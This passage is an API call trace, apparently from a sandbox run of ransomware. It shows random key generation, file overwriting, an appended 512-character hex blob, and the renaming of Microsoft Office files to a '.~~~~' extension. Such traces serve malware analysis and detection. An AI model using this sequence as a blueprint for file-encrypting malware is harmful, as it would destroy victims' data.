	[0130.992] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.992] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.995] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.995] CloseHandle (hObject=0x120) returned 1
	[0130.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.~~~~")) returned 1
	[0130.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0130.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.997] GetLastError () returned 0x0
	[0130.999] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1d80) returned 1
	[0131.000] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.000] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0131.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.001] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25099076347) returned 1
	[0131.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7855a50, dwHighDateTime=0x1d60e1e)) 
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823560
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823560 | out: hHeap=0x300000) returned 1
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3e58
	[0131.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.002] GetLastError () returned 0x0
	[0131.002] GetLastError () returned 0x0
	[0131.002] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.002] GetLastError () returned 0x0
	[0131.003] GetLastError () returned 0x0
	[0131.007] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.007] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.010] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.010] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.069] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.069] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.069] CloseHandle (hObject=0x120) returned 1
	[0131.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4020
	[0131.074] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.~~~~")) returned 1
	[0131.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4020 | out: hHeap=0x300000) returned 1
	[0131.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.077] GetLastError () returned 0x0
	[0131.077] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1d80) returned 1
	[0131.078] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.079] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0131.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.079] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25106896726) returned 1
	[0131.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7914130, dwHighDateTime=0x1d60e1e)) 
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2f0
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2f0 | out: hHeap=0x300000) returned 1
	[0131.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdf90
	[0131.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3f88
	[0131.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdf90 | out: hHeap=0x300000) returned 1
	[0131.080] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.080] GetLastError () returned 0x0
	[0131.081] GetLastError () returned 0x0
	[0131.081] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.081] GetLastError () returned 0x0
	[0131.087] GetLastError () returned 0x0
	[0131.092] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff945, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.094] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x6bb, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x6bb, lpOverlapped=0x0) returned 1
	[0131.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.097] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.097] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.097] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.097] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.097] CloseHandle (hObject=0x120) returned 1
	[0131.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3f88
	[0131.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.~~~~")) returned 1
	[0131.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3f88 | out: hHeap=0x300000) returned 1
	[0131.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.100] GetLastError () returned 0x0
	[0131.101] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1d80) returned 1
	[0131.102] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.102] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0131.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.103] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25109294029) returned 1
	[0131.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb79603f0, dwHighDateTime=0x1d60e1e)) 
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe440
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe440 | out: hHeap=0x300000) returned 1
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c41e8
	[0131.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.104] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.104] GetLastError () returned 0x0
	[0131.104] GetLastError () returned 0x0
	[0131.104] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.104] GetLastError () returned 0x0
	[0131.104] GetLastError () returned 0x0
	[0131.107] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff0298, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.107] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xfd68, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xfd68, lpOverlapped=0x0) returned 1
	[0131.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.110] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.110] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.110] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.111] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.111] CloseHandle (hObject=0x120) returned 1
	[0131.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0131.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.~~~~")) returned 1
	[0131.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b11f0 | out: hHeap=0x300000) returned 1
	[0131.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.113] GetLastError () returned 0x0
	[0131.116] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0131.117] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.117] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0131.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.117] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25110739309) returned 1
	[0131.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7986550, dwHighDateTime=0x1d60e1e)) 
	[0131.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2b8
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.118] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.119] GetLastError () returned 0x0
	[0131.119] GetLastError () returned 0x0
	[0131.119] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.119] GetLastError () returned 0x0
	[0131.119] GetLastError () returned 0x0
	[0131.175] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc0a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.175] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3f60, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3f60, lpOverlapped=0x0) returned 1
	[0131.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.178] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.178] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.178] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.178] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.181] CloseHandle (hObject=0x120) returned 1
	[0131.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.182] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.~~~~")) returned 1
	[0131.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4280 | out: hHeap=0x300000) returned 1
	[0131.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.184] GetLastError () returned 0x0
	[0131.185] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a18b8) returned 1
	[0131.186] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.186] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.186] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25117628117) returned 1
	[0131.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7a1ead0, dwHighDateTime=0x1d60e1e)) 
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe328
	[0131.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe328 | out: hHeap=0x300000) returned 1
	[0131.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.187] GetLastError () returned 0x0
	[0131.188] GetLastError () returned 0x0
	[0131.188] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.188] GetLastError () returned 0x0
	[0131.188] GetLastError () returned 0x0
	[0131.361] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc772, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
